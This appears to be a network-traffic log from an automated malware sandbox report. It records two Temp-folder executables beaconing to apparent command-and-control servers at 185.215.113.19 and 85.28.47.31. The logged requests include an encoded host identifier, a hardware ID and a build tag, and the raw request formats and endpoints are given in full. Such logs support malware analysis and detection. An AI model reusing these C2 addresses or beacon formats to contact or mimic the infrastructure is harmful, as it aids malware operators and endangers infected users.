Jul 27, 2024 05:39:37.837846041 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:38.095803976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49518	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:38.212713003 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:38.979536057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:38.981369019 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:39.234638929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49521	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:39.368211985 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:40.126049995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:40.127078056 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:40.375623941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49524	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:40.492907047 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:41.248493910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:41.251684904 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:41.508268118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49525	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:41.665129900 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:42.411669016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:42.412832022 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:42.660070896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49527	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:42.774825096 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:43.541340113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:43.542042017 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:43.790818930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49530	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:43.900226116 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:44.641803980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:44.647861004 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:44.897357941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49531	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:45.027040958 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:45.845674992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:45.846817017 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:46.118057966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49533	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:46.248070002 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:47.008503914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:47.010534048 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:47.255594015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49534	85.28.47.31	80	848	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:46.282706976 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:46.902767897 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:46.905215025 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 39 37 46 39 41 35 35 33 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="hwid"5897F9A553C62507286958------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="build"sila------CAKFIJDHJEGIDHJKKKJJ--
Jul 27, 2024 05:39:47.089169979 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49535	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:47.435655117 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:48.168840885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:48.171005011 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:48.420581102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49537	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:48.596496105 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:49.333915949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:49.488328934 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:49.758131981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49539	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:49.885752916 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:50.640804052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:50.641581059 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:50.892965078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
